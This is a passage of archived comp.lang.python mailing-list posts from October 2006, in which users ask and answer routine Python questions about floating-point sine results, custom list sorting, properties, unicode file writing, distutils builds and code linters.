mouse usage inputs very easily at > a global level or at application levels by watching applications for > events within the applications. > > I was wondering if there were any python libraries that provided > similar functionality before I went ahead with the project though. > > Cheers, > Bryan Rasmussen You might take a look at pyHook: http://sourceforge.net/project/showfiles.php?group_id=65529&package_id=92632 From maxerickson at gmail.com Sat Oct 14 23:55:10 2006 From: maxerickson at gmail.com (Max Erickson) Date: Sun, 15 Oct 2006 03:55:10 +0000 (UTC) Subject: problem with the 'math' module in 2.5? References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> Message-ID: "Chris" wrote: >>>> from math import * >>>> sin(0) > 0.0 >>>> sin(pi) > 1.2246063538223773e-016 >>>> sin(2*pi) > -2.4492127076447545e-016 >>>> cos(0) > 1.0 >>>> cos(pi) > -1.0 >>>> cos(2*pi) > 1.0 > > The cosine function works fine, but I'm getting weird answers for > sine. Is this a bug? Am I doing something wrong? > >From help(math) in an interactive window: DESCRIPTION This module is always available. It provides access to the mathematical functions defined by the C standard. So what you are seeing is the behavior of the C library being exposed. Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2). From sjmachin at lexicon.net Sun Oct 8 09:39:45 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 06:39:45 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160313974.040577.125970@e3g2000cwe.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> <1160313804.076356.278210@c28g2000cwb.googlegroups.com> <1160313974.040577.125970@e3g2000cwe.googlegroups.com> Message-ID: <1160314785.097336.9520@c28g2000cwb.googlegroups.com> Ben wrote: > Ah - I found out why I had cast it to a string. I had not, at that > point, worked out ho to pass the list by value rather than reference, > and so was casting to a string as a stopgap measure that I then forgot > about. Now the problem is fixed after this group told me how to pass a > list by value (by slicing the entire list) > All argument passing is by reference. What you are calling "pass a list by value" is actually two steps: (1) make a copy of a list (2) pass a reference to the copy At the C implementation level, it's a (PyObject *) -- the address of the object. HTH, John From davidschein at alumni.tufts.edu Wed Oct 25 14:00:22 2006 From: davidschein at alumni.tufts.edu (David S.) Date: 25 Oct 2006 11:00:22 -0700 Subject: chained attrgetter Message-ID: <1161799222.831277.154340@e3g2000cwe.googlegroups.com> Does something like operator.getattr exist to perform a chained attr lookup? I came up with the following, but I can not help but think it is already done and done better. Peace, David S. def compose(funcs): """ return composite of funcs this does not support extended call syntax, so each func can only take a single arg >>> from operator import add >>> funcs = [lambda x:add('ANSWER: ', str(x)), lambda x:add(x,100)] >>> compose(funcs)(9) 'ANSWER: 109' """ def _func(arg): return reduce(lambda v,f: f(v), iter(funcs[::-1]), arg) return _func def chained_attrgetter(cattr): """ >>> class A: pass ... >>> a1 = A >>> a1.a2 = A >>> a1.a2.a3 = "Hey, now!" >>> chained_attrgetter("a2.a3")(a1) 'Hey, now!' """ return compose([attrgetter(attr) for attr in cattr.split('.')[::-1]]) From larry.bates at websafe.com Sat Oct 21 12:53:18 2006 From: larry.bates at websafe.com (Larry Bates) Date: Sat, 21 Oct 2006 11:53:18 -0500 Subject: Why doesn't this work? In-Reply-To: References: Message-ID: <453A507E.4070602@websafe.com> Because datetime is a new-style class: The Constructor __new__ If you are like me, then you probably always thought of the __init__ method as the Python equivalent of what is called a constructor in C++. This isn't the whole story. When an instance of a class is created, Python first calls the __new__ method of the class. __new__ is a static method that is called with the class as its first argument. __new__ returns a new instance of the class. The __init__ method is called afterwards to initialize the instance. In some situations (think "unplickling"!), no initialization is performed. Also, immutable types like int and str are completely constructed by the __new__ method; their __init__ method does nothing. This way, it is impossible to circumvent immutability by explicitly calling the __init__ method after construction. I think what you wanted was: >>> class ts(datetime): ... def __new__(self): pass ... >>> a=ts() -Larry From fredrik at pythonware.com Fri Oct 20 02:23:02 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 08:23:02 +0200 Subject: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: <453867E8.4080702@gmail.com> References: <453867E8.4080702@gmail.com> Message-ID: fdu.xiaojf at gmail.com wrote: > I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need > to uninstall python 2.4.3 first ? afaik, no. From sturlamolden at yahoo.no Sat Oct 21 13:20:08 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 21 Oct 2006 10:20:08 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161449187.222891.275240@e3g2000cwe.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> <1161447222.660369.196370@i3g2000cwc.googlegroups.com> <1161449187.222891.275240@e3g2000cwe.googlegroups.com> Message-ID: <1161451208.143542.298780@h48g2000cwc.googlegroups.com> Eric_Dexter at msn.com wrote: > pygtk can be a pain to install and some of the librarys that are built > on top of it have copyrights and such. apple for the fonts and there > is one for the images. It also can be a pain to install.. It would be > nice to see it as a low cost comercial package that is already put > together say $20 or so then to try to workout a distribution for some > of that. On Windows, there are two installers you need to download: One for PyGTK and one for GLADE + the GTK runtime. Double-click on the installers and wheeey ... everything works. http://www.mapr.ucl.ac.be/~gustin/win32_ports/pygtk.html http://gladewin32.sourceforge.net/modules/news/ If you cannot make this work, your computer skills are at level that makes me amazed that you have any use for a programming language... > (but then I believe apple should buy borland). I think > sci-pi (If I have the name right) would be a very good platform to > extend gtk. A) it is well documentated B) they made it as easy as > possible to install. pywin might have some acess to graphics but it is > windows only and the documentation is sparce. SciPy is a toolset for scientific programming in Python. It does not contain any graphics stuff. SciPy depends on NumPy (formerly SciPy core), which is the "bleeding edge" package for numerical programming in Python. If you need to scientific datavisualization in Python, you should take a look at Matplotlib, which also depends on NumPy. Matplotlib can use a number of backends for displaying graphs, including PyGTK. I routinely use Matplotlib to draw graphs in my PyGTK apps on MS Windows. This jus requires two or three installs: NumPy, Matplotlib and (optionally) SciPy. But you don't need this packages unless you are doing heavy scientific or numeric programming. From tomas at fancy.org Mon Oct 9 00:26:05 2006 From: tomas at fancy.org (Tom Plunket) Date: Sun, 08 Oct 2006 21:26:05 -0700 Subject: Unicode strings, struct, and files Message-ID: <7ghji2hr4clsv9fp9nhlqr28sf98jf8e6l@4ax.com> I am building a file with the help of the struct module. I would like to be able to put Unicode strings into this file, but I'm not sure how to do it. The format I'm trying to write is basically this C structure: struct MyFile { int magic; int flags; short otherFlags; char pad[22]; wchar_t line1[32]; wchar_t line2[32]; // ... other data which is easy. :) }; (I'm writing data on a PC to be read on a big-endian machine.) So I can write the four leading members with the output of struct.pack('>IIH22x', magic, flags, otherFlags). Unfortunately I can't figure out how to write the unicode strings, since: message = unicode('Hello, world') myFile.write(message) results in 'message' being converted back to a string before being written. Is the way to do this to do something hideous like this: for c in message: myFile.write(struct.pack('>H', ord(unicode(c)))) ? Thanks from a unicode n00b, -tom! From bjobrien62 at gmail.com Mon Oct 16 16:01:53 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 16 Oct 2006 13:01:53 -0700 Subject: Need a strange sort method... In-Reply-To: <1161028595.918128.198190@h48g2000cwc.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> <1161028595.918128.198190@h48g2000cwc.googlegroups.com> Message-ID: <1161028913.598854.111950@b28g2000cwb.googlegroups.com> SpreadTooThin wrote: > Simon Brunning wrote: > > On 10/16/06, Simon Brunning wrote: > > > >>> a = [1,2,3,4,5,6,7,8,9,10] > > > >>> a.sort(key=lambda item: (((item-1) %3), item)) > > > >>> a > > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > > > Re-reading the OP's post, perhaps sorting isn't what's required: > > > > >>> a[::3] + a[1::3] + a[2::3] > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > > > -- > > Cheers, > > Simon B > > simon at brunningonline.net > > http://www.brunningonline.net/simon/blog/ > > Ok so this is what I got.. but there is an odd side effect: > > def reslice(series): > series.sort() > i = 1 > newseries = series[::3] > while(1): > c = series[i::3] > if len(c) >= 3: > newseries = newseries + c > else: > break > i = i + 1 > return newseries > > a = [2,1,4,3,6,5,8,7,10,9] > b = reslice(a) > print b > >>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9, 4, 7, 10] > > I have one extra 10 that I shouldn't... I think my loop termination is incorrect... maybe I should just stop when my new series size is the same size as the original? From george.trojan at noaa.gov Wed Oct 11 17:41:51 2006 From: george.trojan at noaa.gov (George Trojan) Date: Wed, 11 Oct 2006 17:41:51 -0400 Subject: python 2.5 build problem on AIX 5.3 Message-ID: Is there a known problem with ctypes module on AIX? Google did not help me to find anything. Here is part of the output from "make": building '_ctypes' extension xlc_r -q64 -DNDEBUG -O -I. -I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/./Include -Ibuild/temp.aix-5.3-2.5/libffi/include -Ibuild/temp.aix-5.3-2.5/libffi -I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Modules/_ctypes/libffi/src -I/u/wx22gt/tools/Python-2.5-cc/include -I./Include -I. -I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Include -I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc -c /gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Modules/_ctypes/libffi/src/powerpc/aix.S -obuild/temp.aix-5.3-2.5/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Modules/_ctypes/libffi/src/powerpc/aix.o Assembler: line 1: 1252-162 Invalid -m flag assembly mode operand: PWR5X. Valid values are:COM PWR PWR2 PPC 601 603 604 PPC64 620 A35 PWR4 PWR5 970 PPC970 PWR6 ANY export OBJECT_MODE=64 cd $TOOLS/src/Python-2.5-cc ./configure --prefix=$TOOLS/Python-2.5-cc --with-gcc="xlc_r -q64" --with-cxx="xlC_r -q64" --disable-ipv6 AR="ar -X64" George From xi at gamma.dn.ua Mon Oct 9 16:17:09 2006 From: xi at gamma.dn.ua (Kirill Simonov) Date: Mon, 9 Oct 2006 23:17:09 +0300 Subject: distutils: optionally build C bindings to an external library Message-ID: <20061009201709.GA1384@58sirius016.dc.ukrtel.net> Hi, I've written a pure Python module, which could optionally use an external C library. The external library is not required to be on the user computer however, so I'd like not to build the bindings by default, but allow a user to turn the build on by specifying some parameter to `setup.py`. Basically, it should work like ./configure --with-some-lib[=/path] Unfortunately I'm not quite sure how to implement this and I'm already lost in the distutils internals. Could someone point me to the correct direction, perhaps giving me a reference to an existing distutils script? -- xi From martin.witte at gmail.com Fri Oct 13 16:24:03 2006 From: martin.witte at gmail.com (wittempj@hotmail.com) Date: 13 Oct 2006 13:24:03 -0700 Subject: Newbie question - leading zeros In-Reply-To: <1160763572.744578.36810@m73g2000cwd.googlegroups.com> References: <20061013130805.T91050@eris.io.com> <1160763572.744578.36810@m73g2000cwd.googlegroups.com> Message-ID: <1160771043.381544.189970@k70g2000cwa.googlegroups.com> Rainy wrote: > eldorado wrote: > > I have looked around and cannot seem to find a way to strip leading zeros > > off of values in a dictionary. Basically, I am looking to do a for loop > > and any value that has one or more leading zeros would be stripped. Any > > pointers would be appreciated. Thanks > > > > -- > > Randomly generated signature > > ICMP: The protocol that goes PING! > > import string > >>> string.lstrip('0001', '0') > '1' > > Hope this willhelp > > -Rainy string.lstrip is deprecated, so when OPs dictionary has as values strings it's better to do something like x = {'a key':'0001', 'another key': '0002'} for k, v in x.iteritems(): x[k] = v.lstrip('0') From horpner at yahoo.com Wed Oct 11 08:40:14 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 11 Oct 2006 14:40:14 +0200 Subject: Encode differences between idle python and python References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com> <1160488550.884415.237450@k70g2000cwa.googlegroups.com> Message-ID: On 2006-10-10, pretoriano_2001 at hotmail.com wrote: > > Gabriel, Peter: > Many thanks for your clear answers!! Best regards. Something I've been working on is currently using the following trick: # Create some string of non-ASCII text in ISO 8859-1. some_string = ''.join(chr(a) for a in range(0xc0, 0xdf)).decode('ISO 8859-1') # Print it to stdout, converting to the terminal's encoding, replacing # unprintable characters with '?'. print some_string.encode(sys.stdout.encoding, 'replace') -- Neil Cerutti That's the biggest laughingstock I've ever heard of in my life. --Trot Nixon From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 05:27:23 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 19:27:23 +1000 Subject: Where do nested functions live? References: Message-ID: On Sat, 28 Oct 2006 09:59:29 +0200, Fredrik Lundh wrote: >> where do nested functions live? > > in the local variable of an executing function, just like the variable > "bar" in the following function: > > def foo(): > bar = "who am I? where do I live?" > > (yes, an inner function is *created* every time you execute the outer > function. but it's created from prefabricated parts, so that's not a > very expensive process). Does this mean I'm wasting my time writing doc strings for nested functions? If there is no way of accessing them externally, should I make them mere # comments? -- Steven. From rocky at panix.com Fri Oct 27 14:36:23 2006 From: rocky at panix.com (R. Bernstein) Date: 27 Oct 2006 14:36:23 -0400 Subject: Tracing the execution of scripts? References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: Fulvio writes: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** Delighted to know that. > > On Friday 27 October 2006 17:31, R. Bernstein wrote: > > pydb (http://bashdb.sf.net/pydb) has a both the ability to trace lines > > I faced several time that pydb stuck without sign of errors. In the other hand > Pdb doesn't appear that problem. > Mostly pydb freeze on long loops. In version 1.19 (released today), I extended signal handling so that you can send the program a signal and it will print a stack trace of where it is and continue. But even before this release, you could arrange to enter the debugger by sending it a signal. It's possible something like this might be used help track down the problem in either pydb or another Python program that seems to be not responding. On the other hand, use at your own risk - I don't guarentee this will work for you. And.. before you ask for more details, I'll repeat what someone else posted in response to another of your questions: I guess you've been told to read this here, but just in case it wasn't, or you didn't bother to read it: http://catb.org/esr/faqs/smart-questions.html > It might be some problem on my setup, I'll check it up... Given your other posts, that's quite possible. If it's not, submit a bug report. (Posting to c.l.r isn't the same as submitting a bug report). Thanks. From python.list at tim.thechases.com Wed Oct 18 11:51:02 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 18 Oct 2006 10:51:02 -0500 Subject: Dictionaries In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> Message-ID: <45364D66.8000706@tim.thechases.com> > How can I add two dictionaries into one? > E.g. > a={'a:1} > b={'b':2} > > I need > > the result {'a':1,'b':2}. >>> a.update(b) >>> a {'a':1,'b':2} -tkc From skip at pobox.com Tue Oct 10 08:23:29 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 10 Oct 2006 07:23:29 -0500 Subject: Linting python code... In-Reply-To: <200610101415.54557.email@christoph-haas.de> References: <200610101415.54557.email@christoph-haas.de> Message-ID: <17707.37057.62720.611901@montanaro.dyndns.org> Christoph> On Tuesday 10 October 2006 14:06, Andrew Markebo wrote: >> Are there any python-code linter out there Christoph> PyLint (http://www.logilab.org/projects/pylint) Christoph> PyChecker (http://pychecker.sf.net) New kid on the block: PyFlakes http://divmod.org/trac/wiki/DivmodPyflakes It doesn't do nearly as much as the other two but doesn't import the modules, so it can be used in places the others can't. Skip From steve at holdenweb.com Mon Oct 30 18:42:16 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 30 Oct 2006 23:42:16 +0000 Subject: enumerate improvement proposal In-Reply-To: References: <4qn37kFmc3q0U1@uni-berlin.de> Message-ID: James Stroud wrote: > Diez B. Roggisch wrote: > >>>Okay, I've googled "leaky abstractions" (as was probably your intended >>>affect with your silence), read the famous essay, and still >>>don't know what you mean and how it applies to what I have described. >>> >>>Do you plan to justify your statement or emptily accuse people of >>>violating >>>esoteric principles? >> >> >>While I can't claim to know what the effbot thinks (the >>skull-socks-wearing-python-coder-mindlink-technology is yet to be >>developed), I think it's pretty clear what he is after here: >> >>Computers compute offsets into data zero-based. Some languages like >>pascal completely abstract that away from the user, but python doesn't. >> >>So if your colleague/boss/whatever insists on indices being one-based, >>this abstraction you introduced for her pretty fast leaks pretty badly. >>Consider this simple example: >> >>for offset, item in enumerate(some_list, start=1): >> if item.is_the_chosen_one(): >> chosen_one_offset = offset >> >>the_chosen_one = some_list[chosen_one_offset] >> >>And bang, its Judas not Petrus who gets the pearly gates inc. stock >>options. >> >>Diez > > > Thank you for this explanation. Very illuminating. I think understand > this idea well and the thought of 1 basing this function makes me cringe > as much as the next guy (though I lacked the vocabulary to explain > exactly why I cringe). > > But you see, weaning this university faculty level economist (who > already has her own way of doing everything...and to whom I happen to be > married) from the traditional economics tools of gauss and sas towards > the more sane and flexible tools of python, numarray, and rpy has been a > multi-stage process. Tweaking the chosen abstractions to not be as leaky > (thank you and thank Fredrik for introducing me to this vocabulary) is > still one of the things I'm working towards. I want to solidify the > conversion before I concentrate on nuance. > > So, before too much criticism, I challenge even the most skilled python > programmer to find his or her own faculty economist (or statistician or > physicist) and get them to radically change their computational tools. > When you've walked a mile in my shoes, leaky abstractions won't seem > like such a big deal after all. > Divorce is obviously the only answer. How could you end up marrying someone who counts from one and not zero? ;-) regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From vatamane at gmail.com Sun Oct 29 23:38:43 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 29 Oct 2006 20:38:43 -0800 Subject: Open Source? In-Reply-To: <1162179677.547593.17660@k70g2000cwa.googlegroups.com> References: <1162179677.547593.17660@k70g2000cwa.googlegroups.com> Message-ID: <1162183123.585206.268320@h48g2000cwc.googlegroups.com> You can always start with open source. Find a project that you really like based on Python, and get involved -- look at the source, create add-ons, fix bugs. This way you get to learn, and you get to contribute and help others out as well. After a while you will have under your belt and perhaps it will be easier to find a job. Mind you, a lot of place are still looking for C/C++, Java and, oh the horror... COBOL! Sadly Python is still mostly on the "it's nice to know but not required category"... -Nick V. ArdPy wrote: > Hi there, these days I am desperately searching everywhere on the > Internet for part time python jobs. The reason is I want to get > actively involved with python programming and get some practical > exposure. Please help me in whatever way you can. From exarkun at divmod.com Wed Oct 4 11:18:16 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Wed, 4 Oct 2006 11:18:16 -0400 Subject: A Universe Set In-Reply-To: <4523cc5f$0$25771$4d3efbfe@news.sover.net> Message-ID: <20061004151816.1717.550499491.divmod.quotient.67224@ohm> On Wed, 04 Oct 2006 11:00:28 -0400, Leif K-Brooks wrote: >Jorgen Grahn wrote: >> - infinite xrange()s > >itertools.count()? Not quite: >>> import sys, itertools >>> c = itertools.count(sys.maxint) >>> c.next() 2147483647 >>> c.next() -2147483648 >>> Jean-Paul From will at willmcgugan.com Mon Oct 2 08:25:00 2006 From: will at willmcgugan.com (Will McGugan) Date: 2 Oct 2006 05:25:00 -0700 Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> <1159788068.306378.253270@m7g2000cwm.googlegroups.com> Message-ID: <1159791900.111642.272280@c28g2000cwb.googlegroups.com> Duncan Booth wrote: > > Yes, it would, although since the implication is that your class expected > numbers and the file iterator returns strings I'm not sure how much it > matters: you are still going to have to write more code than in your > example above. e.g. > > v1 = Vector3D(float(n) for n in itertools.islice(f, 3)) > > or with my variant: > > v1 = Vector3D(*(float(n) for n in itertools.islice(f, 3))) > The generator expression wouldnt really be neccesary since the constructor converts the iterated values to floats. But! I understand your objection. It doesn't quite fit with 'explicit is better than implicit'. Im just debating the trade-off with catching foolish mistakes and making it easier to use for beginners. Thanks. From simon at brunningonline.net Mon Oct 16 14:30:45 2006 From: simon at brunningonline.net (Simon Brunning) Date: Mon, 16 Oct 2006 19:30:45 +0100 Subject: Need a strange sort method... In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> On 16 Oct 2006 11:13:08 -0700, SpreadTooThin wrote: > I have a list and I need to do a custom sort on it... > > for example: > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order > > def cmp(i,j): #to be defined in this thread. > > a.sort(cmp) > > print a > [1,4,7,10, 2,5,8, 3,6,9] > > So withouth making this into an IQ test. > Its more like > 1 4 7 10 > 2 5 8 > 3 6 9 >>> a = [1,2,3,4,5,6,7,8,9,10] >>> a.sort(key=lambda item: (((item-1) %3), item)) >>> a [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From eur.van.andel at gmail.com Wed Oct 11 11:38:28 2006 From: eur.van.andel at gmail.com (eur.van.andel at gmail.com) Date: 11 Oct 2006 08:38:28 -0700 Subject: hundreds of seconds? In-Reply-To: References: Message-ID: <1160581108.301858.37760@m7g2000cwm.googlegroups.com> Michael.Coll-Barth at VerizonWireless.com wrote: > > -----Original Message----- > > From: eur.van.andel at gmail.com > > > How can I access partial seconds on the system clock? > > What is wrong with time.time()? Absolutely nothing. > >>> import time > >>> time.time() > 1160578386.0109401 > >>> time.time() > 1160578386.87324 > >>> time.time() > 1160578387.5790291 > >>> x = time.time() > >>> y = time.time() > >>> z = y-x > >>> z > 4.6488111019134521 That was just what I needed. I was just ignorant, that's all. > The difference between x and y is the number of seconds between 'polling's of the OS. There are some issues with precision. G5-fiwihex:~ eur$ python Python 2.3.5 (#1, Mar 20 2005, 20:38:20) [GCC 3.3 20030304 (Apple Computer, Inc. build 1809)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import time >>> time.time() 1160580871.258379 >>> My G5 has lots of digits behind the decimal point, my measuring PC runs W98. We'll see how it does there. But I trust it to be enough digits. Thanks. From rurpy at yahoo.com Tue Oct 17 11:26:21 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 17 Oct 2006 08:26:21 -0700 Subject: OT: What's up with the starship? In-Reply-To: References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <1161025636.641534.282290@f16g2000cwb.googlegroups.com> Message-ID: <1161098781.075645.103360@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > rurpy at yahoo.com wrote: > > > I admit I am totally flmmexed by your answer. > > What does when the bug was introduced have to do with > > anything? > > oh, I thought your main concern was whether the packages available had > been compromised, Yes. > and that you asked if that was the reason an advisory > was released last week. No, I asked if there was any relationship. http://groups.google.com/group/comp.lang.python/msg/f1974d9b5a42639e?hl=en& > if someone has developed an exploit for the vulnerability, chances are > that they'd attack more than just a single obscure and mostly abandoned > server. If someone's goal was to compromise machines by compromising software that was likely to be installed by many people, they would be wise to minimize the chance of detection by attacking as few machines as possible. But given what mwh wrote earlier about the incident, and what you say about starship.python.net's lack of prominence, obviously it was unlikely their goal. From DustanGroups at gmail.com Fri Oct 20 20:45:19 2006 From: DustanGroups at gmail.com (Dustan) Date: 20 Oct 2006 17:45:19 -0700 Subject: Customize the effect of enumerate()? Message-ID: <1161391519.145292.249510@i42g2000cwa.googlegroups.com> Can I make enumerate(myObject) act differently? class A(object): def __getitem__(self, item): if item > 0: return self.sequence[item-1] elif item < 0: return self.sequence[item] elif item == 0: raise IndexError, "Index 0 is not valid." else: raise IndexError, "Invalid Index." def __iter__(self): return iter(self.sequence) Why the funny behavior, you ask? For my class A, it doesn't make sense to number everything the standard programming way. Of course, if someone uses enumerate, it's going to number the items the same way as ever. Is there any way to modify that behavior, any special function to set? There doesn't appear to be, according to the docs, but it never hurts to make sure. From george.sakkis at gmail.com Wed Oct 18 03:56:21 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 18 Oct 2006 00:56:21 -0700 Subject: creating many similar properties References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> Message-ID: <1161158181.103138.294330@b28g2000cwb.googlegroups.com> Michele Simionato wrote: > Lee Harr wrote: > > I understand how to create a property like this: > > > > class RC(object): > > def _set_pwm(self, v): > > self._pwm01 = v % 256 > > def _get_pwm(self): > > return self._pwm01 > > pwm01 = property(_get_pwm, _set_pwm) > > > > > > But what if I have a whole bunch of these pwm properties? > > > > I made this: > > > > class RC(object): > > def _makeprop(name): > > prop = '_%s' % name > > def _set(self, v): > > v_new = v % 256 > > setattr(self, prop, v_new) > > def _get(self): > > return getattr(self, prop) > > return property(_get, _set) > > > > pwm01 = _makeprop('pwm01') > > pwm02 = _makeprop('pwm02') > > > > > > Not too bad, except for having to repeat the name. > > > > I would like to just have a list of pwm names and > > have them all set up like that. It would be nice if > > each one was set to a default value of 127 also.... > > > > Any thoughts? > > > > Yes, what about this? > > import sys > > def defprop(name, default=127): > loc = sys._getframe(1).f_locals > prop = '_%s' % name > def _set(self, v): > v_new = v % 256 > setattr(self, prop, v_new) > def _get(self): > return getattr(self, prop, default) > loc[name] = property(_get, _set) > > class RC(object): > defprop('pwm01') > defprop('pwm02') > > rc = RC() > > print rc.pwm01 # 127 > print rc.pwm02 # 127 > rc.pwm02 = 1312 > print rc.pwm02 # 32 > > This is a bit hackish, but I would prefer this over a metaclass > solution. since it does not add > any hidden magic to your class. Why is this less hidden or magical than a metaclass ? I'd prefer the following instead: from itertools import chain, izip, repeat def ByteProperties(*names, **defaulted_names): def byte_property(name, default): return property(lambda self: getattr(self, name, default), lambda self,v: setattr(self, name, v%256)) def make_class(clsname, bases, dict): for name,default in chain(izip(names, repeat(127)), defaulted_names.iteritems()): assert name not in dict # sanity check dict[name] = byte_property('_'+name, default) return type(clsname,bases,dict) return make_class class RC(object): __metaclass__ = ByteProperties('pwm01', pwm02=64) rc = RC() print rc.pwm01, rc.pwm02 # 127 64 rc.pwm01 = 1312 print rc.pwm01, rc.pwm02 # 32 64 George From fredrik at pythonware.com Sat Oct 14 10:59:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 14 Oct 2006 16:59:40 +0200 Subject: locals() and globals() In-Reply-To: <83e8215e0610140727q44c0db80i9747360061c95893@mail.gmail.com> References: <83e8215e0610140727q44c0db80i9747360061c95893@mail.gmail.com> Message-ID: Paolo Pantaleo wrote: > why accessing the names dictionary globals() and locals() gives > different results? the documentation has the answer: "The contents of this dictionary should not be modified; changes may not affect the values of local variables used by the interpreter" http://pyref.infogami.com/locals From nairarunv at gmail.com Thu Oct 26 09:21:28 2006 From: nairarunv at gmail.com (Arun Nair) Date: 26 Oct 2006 06:21:28 -0700 Subject: doesnt seems to work can any help be provided Message-ID: <1161868888.823864.66700@f16g2000cwb.googlegroups.com> import string class Card: # Not sure if I need to set these first??? # suitList = () # rankList = () def __init__(self,suit,rank): self.suit = suit self.rank = rank def __repr__(self): return str(self) def __str__(self): return "%s of %s" % (self.rankList[self.rank],self.suitList[self.suit]) def __cmp__(self,other): if self.suit > other.suit: return 1 if self.suit < other.suit: return -1 if self.rank > other.rank: return 1 if self.rank < other.rank: return -1 else: return 0 def getCard(cards): # Break each card into suit and rank rankList , suitList = string.split(cards," ") return Card(rankList,suitList) class Deck: def __init__(self): self.cards = [] for suit in range(4): for rank in range(1,14): self.cards.append(Card(suit,rank)) def main(): # Open the file with the cards in them filename = raw_input('Enter the file name for the cards >>') infile = open(filename,'r') # Set the first card in the list cards = getCard(infile.readline()) # Process the extra lines for line in infile: s = getCard(line) infile.close() a=Deck() print a main() From grflanagan at yahoo.co.uk Sat Oct 14 16:22:31 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 14 Oct 2006 13:22:31 -0700 Subject: ANN: ElementFilter - find and remove elements and attributes from ElementTree XML Message-ID: <1160857351.325566.217430@m73g2000cwd.googlegroups.com> An add-on for ElementTree. Info and download here: http://www.gflanagan.net/site/python/utils/elementfilter/index.html Gerard From rpdooling at gmail.com Fri Oct 20 02:32:57 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 19 Oct 2006 23:32:57 -0700 Subject: help with my first use of a class In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> Message-ID: <1161325977.502197.142350@m73g2000cwd.googlegroups.com> Whoah. At least I got the connection. I think. Maybe I can figure more on my own. Any help appreciated. Thanks --------- class Connection: def __init__(self, aDatasource): self.db = aDatasource self.conn = odbc.DriverConnect(self.db) self.conn.cursor() def random_quote(): """ Counts all of the quotes in MS Access database Quotations2005.mdb. Picks one quote at random and displays it using textwrap. """ c = Connection('DSN=Quotations') c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") From andy2O at hotmail.com Sun Oct 15 17:10:50 2006 From: andy2O at hotmail.com (andy2O at hotmail.com) Date: 15 Oct 2006 14:10:50 -0700 Subject: problem with the 'math' module in 2.5? References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> <1160885586.921786.87810@i42g2000cwa.googlegroups.com> Message-ID: <1160946650.139987.51870@h48g2000cwc.googlegroups.com> Chris wrote: > sin(pi*0.5) is what I expected, but I expected to get 0 for sin(pi). Computers in general, and Python too, usually use floating point arithmetic in which all numbers are approximated by rational numbers of a particular form (see 